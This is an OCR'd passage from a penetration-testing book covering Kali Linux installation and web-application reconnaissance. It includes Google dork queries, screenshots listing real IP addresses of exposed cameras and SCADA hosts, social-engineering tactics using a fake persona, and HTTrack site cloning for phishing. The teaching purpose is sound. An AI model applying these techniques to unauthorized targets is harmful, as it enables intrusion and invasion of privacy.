partitions. Kali also offers the option of using LVM, logical volume manager. LVM
allows you to manage and resize partitions after installation. In theory, it is supposed
to allow flexibility when storage needs change from initial installation. However,

unless your Kali Linux needs are extremely complex, you most likely will not need to
use it.

* KALILINUX ...

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVYM
Manual

[ screenshot |

[ GoBack | Continue
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6. The last window displays a review of the installation settings. If
everything looks correct, select Yes to continue the process as shown
in the following screenshot:

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

WARNING: This will destroy all data on any partitions you have removed as well as on the partitions that
are going to be formatted.

The partition tables of the following devices are changed:
SCSI13 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?

) No

| screenshot Continue

7. Kali Linux uses central repositories to distribute application
packages. If you would like to install these packages, you need to use
a network mirror. The packages are downloaded via HTTP protocol.
If your network uses a proxy server, you will also need to configure
the proxy settings for you network.

[26]
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N KALILINUX o

Configure the package manager

A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a network mirror?

) No

- . [ *
Screenshot

Go Back Continue l

8. Kali will prompt to install GRUB. GRUB is a multi-bootloader that
gives the user the ability to pick and boot up to multiple operating
systems. In almost all cases, you should select to install GRUB. If you
are configuring your system to dual boot, you will want to make
sure GRUB recognizes the other operating systems in order for it to
give users the options to boot into an alternative operating system.

If it does not detect any other operating systems, the machine will
automatically boot into Kali Linux.

[27]
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Y KALILINUX i

Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?

) No

L3
| sereenshot

| GoBack l Continue I

9. Congratulations! You have finished installing Kali Linux. You will

want to remove all media (physical or virtual) and select Continue
to reboot your system.

Y KALILINUX ...

ARE ABLE TO HEAR
Finish the installation

instaliation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

| screenshot

Go Back Continue
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Kali Linux and VM image first run

On some Kali installation methods, you will be asked to set the root's password.
When Kali Linux boots up, enter the root's username and the password you selected.
If you downloaded a VM image of Kali, you will need the root password. The default

username is root and password is toor.

Kali toolset overview

Kali Linux offers a number of customized tools designed for Penetration Testing.
Tools are categorized in the following groups as seen in the drop-down menu
shown in the following screenshot:

Applications Places Wed May 15, 2:33 AM
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Information Gathering: These are Reconnaissance tools used to gather data
on your target network and devices. Tools range from identifying devices to
protocols used.

Vulnerability Analysis: Tools from this section focus on evaluating systems
for vulnerabilities. Typically, these are run against systems found using the
Information Gathering Reconnaissance tools.

Web Applications: These are tools used to audit and exploit vulnerabilities
in web servers. Many of the audit tools we will refer to in this book come
directly from this category. However web applications do not always refer
to attacks against web servers, they can simply be web-based tools for
networking services. For example, web proxies will be found under

this section.

Password Attacks: This section of tools primarily deals with brute force or
the offline computation of passwords or shared keys used for authentication.

Wireless Attacks: These are tools used to exploit vulnerabilities found in
wireless protocols. 802.11 tools will be found here, including tools such as
aircrack, airmon, and wireless password cracking tools. In addition, this
section has tools related to RFID and Bluetooth vulnerabilities as well. In
many cases, the tools in this section will need to be used with a wireless
adapter that can be configured by Kali to be put in promiscuous mode.

Exploitation Tools: These are tools used to exploit vulnerabilities found
in systems. Usually, a vulnerability is identified during a Vulnerability
Assessment of a target.

Sniffing and Spoofing: These are tools used for network packet captures,
network packet manipulators, packet crafting applications, and web
spoofing. There are also a few VoIP reconstruction applications.

Maintaining Access: Maintaining Access tools are used once a foothold
is established into a target system or network. It is common to find
compromised systems having multiple hooks back to the attacker to
provide alternative routes in the event a vulnerability that is used by
the attacker is found and remediated.

Reverse Engineering: These tools are used to disable an executable

and debug programs. The purpose of reverse engineering is analyzing
how a program was developed so it can be copied, modified, or lead to
development of other programs. Reverse Engineering is also used for
malware analysis to determine what an executable does or by researchers
to attempt to find vulnerabilities in software applications.
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* Stress Testing: Stress Testing tools are used to evaluate how much data a
system can handle. Undesired outcomes could be obtained from overloading
systems such as causing a device controlling network communication to
open all communication channels or a system shutting down (also known as
a denial of service attack).

* Hardware Hacking: This section contains Android tools, which could be
classified as mobile, and Ardunio tools that are used for programming and
controlling other small electronic devices.

* Forensics: Forensics tools are used to monitor and analyze computer
network traffic and applications.

* Reporting Tools: Reporting tools are methods to deliver information found
during a penetration exercise.

* System Services: This is where you can enable and disable Kali services.
Services are grouped into BeEF, Dradis, HTTP, Metasploit, MySQL, and SSH.

There are other tools included in the Kali Linux build such as web
browsers, quick links to tune how the Kali Linux build is seen on
the network, search tools, and other useful applications.

Summary

This chapter served as an introduction to Penetration Testing Web Applications
and an overview of setting up Kali Linux. We started off defining best practices

for performing Penetration Testing services including defining risk and differences
between various services. The key takeaway is to understand what makes a
Penetration Test different from other security services, how to properly scope

a level of service and best method to perform services. Positioning the right
expectations upfront with a potential client will better qualify the opportunity

and simplify developing an acceptable scope of work.

This chapter continued with providing an overview of Kali Linux. Topics included
how to download your desired version of Kali Linux, ways to perform the installation,
and brief overview of toolsets available. The next chapter will cover how to perform
Reconnaissance on a target. This is the first and most critical step in delivering
Penetration Testing services.
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The term Reconnaissance by definition comes from the military warfare strategy of
exploring beyond the area occupied by friendly forces to gain information about the
enemy for future analysis or attack. Reconnaissance of computer systems is similar
in nature, meaning typically a Penetration Tester or hacker will attempt to learn as
much as possible about a target's environment and system traits prior to launching
an attack. This is also known as establishing a Footprint of a target. Reconnaissance
is typically passive in nature and in many cases not illegal (however, we are not
lawyers and cannot offer legal advice) to perform as long as you don't complete a
three-way handshake with an unauthorized system.

Examples of Reconnaissance include anything from researching a target on public
sources such as Google, monitoring employee activity to learn operation patterns,
and scanning networks or systems to gather information, such as manufacture

type, operating system, and open communication ports. The more information that
can be gathered about a target brings a better chance of identifying the easiest and
fastest method to achieve a penetration goal, as well as best method to avoid existing
security. Also, alerting a target will most likely cause certain attack avenues to close
as a reaction to preparing for an attack. Kali's official slogan says this best:

"The quieter you become, the more you are able to hear"

Reconnaissance services should include heavy documentation, because data found
may be relevant at a later point in the penetration exercise. Clients will also want
to know how specific data was obtained, and ask for references to resources.
Examples are what tools were used to obtain the data or what publicfacing
resources; for example, the specific search query in Google that was submitted to
obtain the data. Informing a customer "you obtained the goal" isn't good enough,
because the purpose of a Penetration Test is to identify weakness for future repairs.
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Recon naissance objectives
Target background: What is the focus of the target's business?
* Target's associates: Who are the business partners, vendors, and customers?

* Target's investment in security: Are security policies advertised? What is
the potential investment security, and user security awareness?

* Target's business and security policies: How does the business operate?
Where are the potential weaknesses in operation?

* Target's people: What type of people work there? How can they become
your asset for the attack?

* Define targets: What are the lowest hanging fruit targets? What should
be avoided?

* Target's network: How do the people and devices communicate on
the network?

* Target's defenses: What type of security is in place? Where is it located?

* Target's technologies: What technologies are used for e-mail, network
traffic, storing information, authentication, and so on? Are they vulnerable?

Kali Linux contains an extensive catalog of tools titled Information Gathering
specified for Reconnaissance efforts. It could fill a separate book to cover all tools
and methods offered for Information Gathering. This chapter will focus on various
web application Reconnaissance topics and relate the best tools found on the
Internet as well as that offered by Kali Linux.

Initial research

Reconnaissance should begin with learning as much as possible about people and
business associated with the target. Sun Tzu is credited with the phrase, "know your
enemy" in the book, The Art of War. As a Penetration Tester, you need to know your
target. If your target happens to be a website, you should look at all aspects of that
website. It will give you a better understanding of how the site is maintained and
run. Great Reconnaissance returns more possible vulnerabilities.

It is scary how much information is available on public sources. We have found

the unimaginable, such as classified documents, passwords, vulnerability reports,
undesirable photography, and access to security cameras. Many Penetration Testing
project objectives start with leveraging information off public sources. Here are some
starting points for gathering information from public sources.
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Company website

There is a lot of valuable information that can be obtained from a target's website.
Most corporate websites list their executive team, public figures, and members from
recruiting and human resource contacts. These can become targets for other search
efforts and social engineering attacks.

More valuable information can be obtained by looking at what other companies
are listed as partners, current job postings, business information, and security
policies. Reconnaissance on a high-valued partner can be as important as the
primary target, because partners may provide a new source for obtaining
intelligence. An example is compromising a contracted resource that manages
the helpdesk at a target's headquarters.

The robots. txt file is publicly available and found on websites that gives
instructions to web robots (also known as search engine spiders), about what

is and not visible using the Robots Exclusion Protocol. The Disallow: / statement
tells a browser not to visit a source; however, a Disallow can be ignored by giving
a researcher intelligence on what a target hopes to not disclose to the public.

To view the Robots. txt file, find the Robots. txt file in the root directory of a target
website. For example, adding the Robots. txt file to Facebook would look as shown
in the following screenshot:

= ' & https://www.facebook.com/robots.txt

# Motice: 1f you would like to crawl Facebook you can

# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available

# at http://www.facebook.com/apps/site_scraping tos_terms.php

User-agent: baiduspider
Disallow: /ac.php

Disallow: /ae.php

Disallow: /fajax/

Disallow: /falbum.php
Disallow: /fap.php

Disallow: Jautologin.php
Disallow: /checkpoint/
Dizallow: /feeds/

Disallow: /l.php

Disallow: /o.php

Disallow: /p.php

Disallow: /photo.php
Disallow: /photo_comments.php
Disallow: /photo_search.php
Disallow: /photos.php
Disallow: /share.php
Disallow: /sharer/
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Web history sources

There are archived versions of most public websites available on sources such as the
WayBack Machine at archive.org. Interesting information can be found in an older
version of a target's website, such as outdated organizational charts, phone numbers,
customer intelligence, systems information listed in fields, such as view source or
/robots. txt, older business partnerships, vulnerabilities fixed in later versions,

and other useful data, the target doesn't want on the current website version. It is
important to understand that the publicly available information is hard to remove
completely, making historical sources a valuable place for Reconnaissance research.

To access the WayBack Machine, open up the web browser and navigate to
http://archive.org, you will see the Internet Archive WayBack Machine
in the middle of the page, as shown in the following screenshot:

Web Video Taxts Audlo Projects About Account TVNews = Ol
Fonsrs | FACw | Contribxtions | Valurdesr Positions | Jobs | donsts

Soarch Al Micdia Types 2| (@ Atemnced sems Anoerymous Usar s o s | Upioad |
Wab 201 billin pages
Riding with tha Bt Sawirs SR el Tha insemat Archive. 3 501(ci3) non-peats. s buiding
% A igeal Seary of inienal githa ARG aivar cnirst
Friday March 220 Mavi and Pansl sbout mg“n!l}“mm digai
Anorymous: W Are Legion Taka Ma Rach | meru info arifast in digal fom Like & pages bbrary, we.

provide oo atoess I ressarchurs, Fstonans.
£eholars, and the general public

Video Browse | Live Music Audio Browss | Texts Browss
117421 movies ey weywers] Y 114,297 comcents oy hanc) Y 1 571,272 reconbings (e vmoer] [ 4,398,914 teate Py bapvorr)
America for Me Part 1) Grateful Dead Live &t Fllmors Esst on 1070-00-19 Kazuha - Tatami ap (sem 25) Mithode du Toulouse powr linstruction des.
Towes yererg wamen take a G B et F (pastial) 01 (Bugas Magnoli Dtk Star =03 Fi jive SERIFS | . | vl (300 5.3 ; 25 em
America. Inclodes a bove story St Stephen <> 04 Not Fade Away recoed. ke 3 quict milicu, this anist leadsus, ..
Ozzie and Mamet misc op 02 | Zowh Deputy Live at The Bank and Biues Club on The Amuncan Rivals of Shedock Holmes Calaid Al Juman Fi Faw 3d Al Tarjuman
Average rating. WOROEY 20110212 Aveengi rateg: BORCYE Aversge raing:
Avernge ruing: WORCRECR

Bitcsn Cash Convemar Box
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Type the URL you would like to browse and see if any archives have been captured.
A history of the archive can be viewed here, as shown in the following screenshot:

INTERNET ARCHIVE

. http://'www.lancope.com Go Wayback!
IIIH!"IH[!“"IHI]"“IE http Jiwww.lancope .com has been crawled 300 times going all the way back to February 20, 2001.
A crawl can be a duplicate of the last one. It happens about 25% of the time across 420,000,000 websites. FAQ
[FRT) IIIH.I IMHlJ |J Iliﬂulhhnl
2013
JAN FEB MAR APR
1 2 3 4 5 1 2 1 2 1 2 3 4 5 6
6 T 8 9 10 11 12 3 4 5 6 T 8 9 3 4 5 6 T 8 9 7 8 9 10 11 12 13
3 14 15 16 17 18 18 10 11 12 13 14 15 16 10 11 12 13 14 15 16 14 15 16 17 18 19 20
PO 21 22 23 24 25 26 17 18 19 20 21 22 23 17 18 18 20 21 22 23 21 22 23 24 25 26 27
pr 28 28 30 31 24 25 26 27T 28 24 25 26 27 28 29 30 28 28 30
H
MAY JUN JUuL AUG
1 2 3 4 1 1 2 3 4 5 6 1 2 3
5 1 7 8 9 10 M1 2 3 4 5 ] 7 8 7 8 g9 10 11 12 13 4 5 6 7 8 9 10
2 13 14 15 16 17 18 9 10 11 12 13 14 15 14 15 16 17 18 19 20 11 12 13 14 15 16 17
9 20 21 22 23 24 25 16 17 18 18 20 21 22 21 22 23 24 25 26 27 18 19 20 21 22 23 24
p6 27 28 289 30 A 23 24 25 26 27 28 29 28 28 30 3 25 26 27 28 29 30 3
30
SEP ocT NOV DEC
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As a Penetration Tester, this is a valuable tool, because it doesn't leave evidence of
Reconnaissance on your target. In fact, your target is never even touched using this
tool. All the information has been archived online in the Wayback Machine. The
next two screenshots show www. lancope . com in 2002 compared to 2013:

contactus  site map careers press room
Lancope — - tomeqw sefep e Peweer

Keyword Search

P!
STEALTH
WATCH
Network Security BrisK HERe
to Combat Today’s
Lancope develops next-generation intrusion —
detection appliances for high-speed corporate
networks. SiGN UP
FOR THE
Lancope’s StealthWatch™ is an IDS appliance that provides a new and STEALTH
unique approach to netwaork intrusion detection. Our advanced threat WATCH
management system MONitors, detacts and responds ta security breaches
and internal misuse, recognizing advanced attack methods that do not bear WEBDEMO
signatures, such as undocumented, encrypted and DoS attacks. In addition,
it performs on high-speed networks running full duplex 100 Mbps through BL@
Gigabit line speeds. Read more about StealthWatch™ and its innovative HERE
flow-based architecture.

Our innovative technology will dramatically imprave your ability to detect

anomalies, and to combat today's advanced hacker - the ones using new Lancope News:
and undocumented attacks that have no known signature

Stealth\Watch selected by eWeek
as "Most Impressive” of 2001

- " 8 "
- Lancope |DS Looks Into the
EWEEK - "Most Impressive” Wl msis
eWeek Analyst Francis Chu hails StealthWatch as the "Most .
Impressive” of 2001, and says that it "Redefines the Way Latest Hacker Target Routers

Corporations Use Intrusion Defection Systems."

Intrusion Battleground Evolves

Security's Hidden Benefits

WESNON TO SECURE, INTELLKGENGE TO PROTECT

L a n C 0 p e SOLUTIONS PRODUCTS A SERVICES RESOURCES PARTNERS  COMPANY

A Key Component of the
Cisco® Cyber Threat Defense Solution

NelFlow Telermetry
v Tt squrprment.

LATESTNEWS € Blog: Lancocs To Host Webinar on AFT) N
“geN wetwork visipility & ef Detect & Resolve Idontity & Stop

Secuity Intelligence Advanced Threats Inmider Threats

Bhut down séosty g StaalthWatch Reips mitigalo Padimeter dolirdin ae

partemmanes e hatnm adtvnnd, v gaing miasa, Pvarimes AgEast nnier

ey wrmk havoc 00 the Bottwts, DOOS and insider themsts. StaihiWisch fills the
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Regional Internet Registries (RIRs)

RIR is an organization that manages the allocation and registration of IP resources
within a particular region of the world. There are five major RIRs: the USA, Canada,
and parts of the Caribbean region can be found at www.arin.net. You can gather
information on a target such as Lancope, as seen in the following screenshot:

Name Lancope
Handle LANCOP
Street 3155 Rovyal Drive
Building 100
City Alpharetta
State/Province GA
Postal Code 30022
Country us
Registration Date 2002-06-21
Last Updated 2011-09-24
Comments
RESTful Link http:dwhois.arin.netrestiorg/LANCOP
See Also Related networks.
See Also Related autonomous system numbers.,
See Also Related POC records.
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Electronic Data Gathering, Analysis, and
Retrieval (EDGAR)

The EDGAR database contains registration statements, periodic reports, and other
forms of information on companies since 1994. Companies in the United States of
America are required by law to file, and all information is publicly available. The
following two screenshots show public documents found while searching Lancope:

Filing Detail

SEC Home » Search the Next-Generation EDGAR System » Company Search » Current Page

Form REGDEX - Notice of Sale of Securities [Reguwiation D and Section 4(6) of the Securities Act of 1933]

Filing Date Filing Date Changed
2008-04-25 2008-04-30
Accepted Effectiveness Date
2008-04-30 12:50:12 2008-04-25
Documents

1

Document Format Files

Seq Description

1 AUTO-GEMERATED PAPER DOCUMENT
Scanned paper document
Complete submission text file

LANCOPE INC (Filer) CIK: 0001178004 (see all company filings)

IRS No.: 000000000
Type: REGDEX | Act: 34 | File No.: 021-45780 | Film No.: 08045849

.FORM D T T omp apprOVAL oMb
UNITED STATES OMB Number: 3235-0076
SECURITIES AND EXCHANGE COMMISSION Expires: April 30, 2008
Washingten, D.C. 20549 Estimated average burden hours per
] =
FORM D
| NOTICE OF SALE OF SECURITIES SEC USE ONLY
PURSUANT TO REGULATION D,
- SECTION 4(6), AND/OR
08045849 \IFORM LIMITED OFFE
APR 302008 ] J
Name of Offering ([ ] check if this is an amendment and name has wﬂmwmm} 3EC
Issuance of Warrants for shares of Common St - Peansting
Filing Under (Check box{es) that apply): [ JRule 504 [ JRule 505 [X]Rule 506 [ ISection 4(6) [JULOE Sgciion
Type of Filing: (x]New Filing [ JAmendment i
A. BASIC IDENTIFICATION DATA L]
1. Enter the information requested about the issuer
Name of [ssuer ([ ] check if this is an amendment and name has changed, and indicate change.) Washingron, U
Lancope, Inc. 104
Address of Executive Offices (Mumber and Street, City, State, Zip Code) Telephone Number (Including Area Code)
3650 Brookside Parkway, Brookside Concourse 100, Suite 400, 770-225-6500
Alpharetta, GA 30022
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Social media resources

Social media is everywhere, and in most cases, publicly accessible. Most people have

a Facebook, LinkedIn, blogs, or other forms of cloud accounts containing valuable
information. This information can be used as a means of social engineering intelligence
from a target's current or previous staff. An example is searching Glassdoor . com to
identify previous employees that are disgruntled, based on feedback.

There are many people finding web resources such as Maltego (found in Kali Linux)
that can comb popular social media, public records, and job recruiting websites to
fingerprint an individual based on limited information, such as a first and last name.
A researcher could gather information such as everywhere an individual has lived,
done business, people with which they socialize, special interests, favorite sport
teams, and other useful data for future research and social engineering attacks.

Trust

Most people are naturally trusting and assume information posted on public sources is
real. To test this concept, the writers of this book created a fake person through social
media and pretended to be a new hire for a target company. The fake person would
become friends with associates of our target, post fake holiday cards that are linked

to a BeEF system designed to compromise vulnerable Internet browsers (using BeEF

is covered later in this book), and captured sensitive information from compromised
systems. We were able to map out the entire organization, obtain network information,
and even had hardware shipped to us without an internal e-mail or phone number.
Our fake person, Emily Williams isn't real, yet received job offers, was provided inside
information, and access to events hosted by the target. Information is power, and
people will give it to a requester who seems like they can be trusted.

More information on this project can be found at:
http://www.thesecurityblogger.com/?p=1903

Job postings

Job postings contain a wealth of knowledge about a target's environment. Job listings
can provide details on what type of systems are installed, who manages them, how
large the staff is, and the staff's skill level. Human Resource representatives are
typically eager to share information with a potential new hire, which can be used as
an avenue to inside information. An example is targeting a job posting for a Oracle
developer to understand the hardware, version of Oracle, names of existing and
previous administrators, existing operation issues, security gaps, and methods to
access such as asking "can administrators work from home, and how do they access
the systems?"
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Another avenue to review is a job's expected salary, benefits, and turnover rate on
popular job boards. These trends may uncover new vectors for attack. Glassdoor.
com is an example of a popular source for this type of data.

Location

The investment in cyber security for a target can typically be determined based on
the level of physical security. One would assume a building with fences and armed
guards would have a higher investment in cyber security than a target located within
a public building. Online mapping sources such as Google maps can help identify
where physical security is implemented, and trends on how people move to and
from the target. Other areas of interest are identifying where a Penetration Tester
could camp out to scan for wireless networks, and possible methods to bypass

access controls, such as attire and badges used to obtain physical access.

Shodan

Shodan is a search engine that can identify a specific device, such as computer,
router, server, using a variety of filters, such as metadata from system banners.
For example, you can search for a specific system, such as a Cisco 3850, running
a version of software such as IOS Version 15.0(1)EX.
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The following example is a use case searching for any SCADA system with public
Internet access, which in theory isn't supposed to exist however, Shodan can show
this is not necessarily true. SCADA systems control things like power management
and water treatment, so identifying public accessible systems is extremely bad!

% SHODAN

Services 401 Unauthorized
78.70.11.144 )
HTTP 135 TeliaSonara AB HTTPF/1 0 401 Unauthorized
NetBIOS 44 Date: Thu, 28 Feb 2013 17:57:16 GMT
SMB 25 == Stang Server: Boa/0.93.15
FTP 14 78-70-11-144-n01 48 business della.com  _orhection: close
HTTP Alternate 12 WWW-Authenticate: Basic realm="wchSCADA"

Content-Type: text'html

Top Countries

United States 69 65.98.173.75
Canada 41 Conaway Preservation Group, LLC NetBIOS Response
Finland 18 BE paim Desert Scrvername: SCADA
Sweden 13 MAC: b8:ac:6£:81:Thicd
Denmark 12 cust-65-98-173-75.atatic.ol.com
Names:
» SCADA <0x0=

Top Cities WORKGROUP <0xl>
Calgary 1 SCADA <0x20>
Houston 5 WORKGROUP <(xles
Sylvan Lake 5 WORKGROUP <0x1ds
Burnaby 5 MSBROWSE__ <0xl>
Stockholm 5

401 Authorization Required
142.50.128.96

TDP Urganizatinns Windows XP
Telus Communications 13 AaT
Nucleus Information Se... 6 I+l caigary
Telefonica de Espana 5
Comecast Business Commu... 4 d10-137-237-225.abhala.telus.net
Hetzner Online AG 4

HTTP/1 .0 401 Authorization Beauired
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Google hacking

Google hacking is the most common form of search engine Reconnaissance of web
applications. Google hacking uses advanced operations in the Google search engine

to locate specific strings of text within search results. Search filters can zero in on
specific versions of vulnerable web applications such as Powered by Apache in the
intitle:"index of" operator or identify log files such as ws_ftp.log, containing
sensitive IP information. The following few screenshots demonstrate using a Google
search for Linksys to find publicly available Linksys cameras. The first screenshot
shows the search command followed by some example results from issuing the search.
The last screenshot shows a camera feed that could be found using this technique.

GO: nge inurl:main.cgi linksys

Web Images Maps Shopping More - Search tools

Linksys Wireless-G Internet Video Camera
92.71.245.81:1027/main.cgi?next_file=index.htm ~

Linksys. Ver 2.12, Home | View Video | Setup | Linksys WEB | Help | Exit.

Linksys Wireless-G PTZ Internet Camera with Audio
mam-camera.dnsalias.net/main.cgi?next_file=index.htm -

WWVC200. Wireless-G PTZ Internet Camera with Audio, Home| View Video| Setup|
Linksys Web| Exit. Connected User Mumber: 0. @ Copyright 2007 Cisco ...

Linksys Web Camera
177.142.48.3:1028/main.cgi?next_file=index.htm ~

Linksys. Ver 2.13, Home | View Video | Setup | Linksys WEB | Help | Exit.

Linksys Internet Camera
91.196.11.12/main.cgi?next_file=v_video.htm -
LINKSYS PVC2300.

Linksys Wireless-G Internet Video Camera
72.250.149.128:1024/main.cgi?next_file=index.htm -

Linksys. Ver 2.11, Home | View Video | Setup | Linksys WEB | Help | Exit.
You've visited this page 4 times. Last visit: 31913

Linksys Wireless-G PTZ Internet Camera with Audio
213.67.110.104:1024/main.cgi?next_file=main.htm -~

WWVC200. Linksys Wireless-G PTZ Internet Camera with Audio. Home, |, View Video,
|, Setup, |, Linksys Web, |, Exit. Image Resolution. 640=480, 320=240, 160x ...

Linksys Wireless-G PTZ Internet Camera with Audio
66.11.106.28:8181/main.cgi?next_file=main.htm -~

WWVC200. Wireless-G PTZ Internet Camera with Audio, Home| View Video| Setup|
Linksys Web| Exit. Image Resolution. 640*480, 320*240, 160*128. Morthwest ...

You've visited this page 3 times. Last visit: 311913
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LINKSYS® e

A Division of Cisca Systems, Inc.

Wireless-N Internet Home Monitoring Camera Home | ViewVidso | Setup | LinksysWeb | Help | Exit

iron.org 9062653822

© Copyright 2008 Cisco Systems, inc. All rights resarved.

Some example search queries are as follows:

* Identifies sensitive documents: intext: classified top secret

* Identifies Linksys Camera Management GUISs (caution: you may not like
what you find): inurl:main.cgi

* Identifies Nessus reports to find vulnerable systems: inurl : NESSUSXXXXXXXX

For more information on Google hacking, check out a very good book titled Google
Hacking for Penetration Testers by Johnny Long, as well as his website at http://
johnny.ihackstuff.com.

Google Hacking Database

The Google Hacking Database (GHDB) created by Johnny Long of Hackers For
Charity (http://www.hackersforcharity.org/), is the definitive source for Google
search queries. Searches for usernames, passwords, vulnerable systems, and exploits
have been captured and categorized by Google hacking aficionados. The aficionados
who have categorized the Google searches are affectingly known as Google dorks.
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To access the GHDB, navigate to http://www.exploit-db.com/google-dorks/.
You will see the latest GHDB searches listed on the web page. You can click on any
of the search queries yourself.

- £
ACKING-DATAZASE
Welcome to the google hacking database

We call them 'googledorks’: Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universel

Search Google Dorks
Category: Free text search: N

Latest Google Hacking Entries
Date Title

You will find different categories of searches at the bottom of the page that have
been saved. In the following example, we scroll to the category Vulnerable Files
and select the query ionCube Loader Wizard.

IACKING-DATAZASE
ing datz

fo

We call them 'googledorks’: Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universe!

Category: Free text search: [N STTTTY
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Google search:

Hits: 5280
submited: 2011-05-28

We can select the search query, and it will bring us to Google, performing the
same search query.

GO\;SIC inurl:loader-wizard ext:php 4 n

Web Images Maps Shopping More - Search tools

ionCube Loader Wizard
gsship.org/GSSC/ICONCubelnstall/.../loader-wizard.php?timeout... =

Loader is at: /home4/gsshipor/public_htmlfioncubelioncube_loader_lin_5.2.s0. Loader
OS code: lin. Loader architecture: x86. Loader word size: 32. Loader PHP ...

ionCube Loader Wizard
tecnologias101.info/algesweblioncube/loader-wizard.php ~

Please contact the script provider if you do experience any problems running encoded
files. For security reasons we advise that you remove this Wizard script ...

ionCube Loader Wizard - Next Best Thing To Mom
www.nextbestthingtomom.net/loader-wizard.php ~

ionCube Loader Wizard. GoDaddy Installation Instructions. It appears that you are
hosted with GoDaddy (www.godaddy.com). If that is not the case then please ...

ionCube Loader Wizard

www.municanete.gob.pe/loader-wizard.php ~

ionCube Loader Wizard. To use files that have been protected by the ionCube PHP
Encoder, a component called the ionCube Loader must be installed.

ionCube Loader Wizard
planetgore.com/fioncube/loader-wizard.php?page=default =

ionCube Loader Wizard. An updated version of this Wizard script is available here. The
ionCube Loader version 4.0.4 is already installed and encoded files ...
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The preceding example shows Google has found a few results. The ionCube Loader
is apparently not configured or misconfigured. The ionCube Loader is actually a
great piece of software that protects software written in PHP from being viewed or
changed from unlicensed computers. However, in this case, administrators left the
default wizard running without any configuration.

Professional PHP Solutions

ionCube’

ionCube Loader Wizard

To use files that have been protected by the ionCube PHP Encoder, a component called the ionCube Loader must be installed.
This Wizard will give you information on how to install the ionCube Loader.
Flease select the type of web server that you have and then click Next.

Shared (for example, server with FTP access only and no access to php.ini)
Dedicated or VPS (server with full root ssh access)
Local install

Next

When we click on the first link, we get the home screen to configure the software.

The GHDB essentially turns Google into a limited web application scanner for a
Penetration Tester. In this case, good software that can increase security can now
potentially be used against a web server by an attacker.

Researching networks

Many people do not understand the true purpose of researching the network of a
target prior to launching an attack. Amateur Penetration Testers understand the need
to pick a target before they can perform a Penetration Test. After all, a Penetration
Tester needs someplace at which to point their arsenal of tools. Many amateurs will
run Nmap, ping sweeps, or other noisy tools to determine what targets are available
disrupting the environment, which later yields poor results.

Network Reconnaissance is about selecting a target. A seasoned network security
professional will tell you good Reconnaissance is about selecting a quality target,
spending the majority of their time watching, rather than acting. The first step of

every Penetration Test is accurately finding and selecting quality targets.
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From a client's viewpoint, Penetration Testers will encounter individuals
that gain satisfaction in stopping Penetration Testers to prove their value
Al as employees, as well as how well prepared they are for cyber attacks. It
~ is highly recommended that a professional Penetration Tester does not
Q get into a conflict with a client's staff while penetration services are being
performed. A Penetration Tester should focus on security awareness,
and reveal what vulnerabilities exist with the least amount of interaction
with a target's staff during a service engagement.

The following are the best available tools in Kali for web application

Reconnaissance. Other tools may be available for web applications or
different target types however, the focus of this chapter is enabling a
reader for evaluating web application-based targets.

HTTrack — clone a website

HTTrack is a tool built into Kali. The purpose of HTTrack is to copy a website.

It allows a Penetration Tester to look at the entire content of a website, all its pages,
and files offline, and in their own controlled environment. In addition, we will use
HTTrack for social engineering attacks in later chapters. Having a copy of a website
could be used to develop fake phishing websites, which can be incorporated in other
Penetration Testing toolsets.

To use HTTrack, open a Terminal window and type in apt-get install httrack
as shown in the following screenshot.

[ % Some versions of Kali do not have this built-in. ]

:~# apt-get install httrack
Reading package lists... Done
Building dependency tree
Reading state information... Done
httrack is already the newest version.
The following packages were automatically installed and are no long

er required:
greenbone-security-assistant libksba8 libmicrohttpdl®
libopenvas6 openvas-administrator openvas-cli openvas-manager
openvas-scanner xsltproc

Use 'apt-get autoremove' to remove them.

0 upgraded, 0 newly installed, © to remove and 2 not upgraded.
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You will want to create a directory to store your copied website. The following
screenshot shows a directory created named mywebsites using the mkdir command.

To start HTTrack, type httrack in the command window and give the project
a name, as shown in the following screenshot:

1~# mkdir mywebsites
1~# cd / websites
1/# httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.46+libhtsjg
.50.2

Copyright (C) Xavier Roche and other contributors

To see the option list, enter a blank line or try httrack --help

Enter project name :I

The next step is to select a directory to save the website. The example in the
following screenshot shows the folder created in the previous step /root/
mywebsites, used for the directory:
:/# httrack
Welcome to HTTrack Website Copier (Offline Browser) 3.
.50.2
Copyright (C) Xavier Roche and other contributors

To see the option list, enter a blank line or try httn

Enter project name :drchaos.com

Base path (return=/root/websites/) :/root/mywebsites]]

Enter the URL of the site you want to capture. The example in the following
screenshot shows www.drchaos . com. This can be any website. Most attacks
use a website accessed by clients from your target, such as popular social
media websites or the target's internal websites.

The next two options are presented regarding what you want to do with the
captured site. Option 2 is the easiest method, which is a mirror website with
a wizard as shown in the following screenshot:

[50]

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 2

Base path (return=/root/websites/) :/root/mywebsites

DU B WK

epa

rated by commas or blank spa

Mirror Web Site(s)

Mirror Web Site(s) with Wizard

Just Get Files Indicated

Mirror ALL lin in URLs (Multiple Mirror)
Test Links In URLs (Bookmark Test)

Quit

Next, you can specify if you want to use a proxy to launch the attack. You can also
specify what type of files you want to download (the example in the following
screenshot shows = for all files). You can also define any command line options
or flags you might want to set. The example in the following screenshot shows no

additional options.

Before httrack runs, it will display the command that it is running. You can use this
command in the future if you want to run httrack without going through the wizard
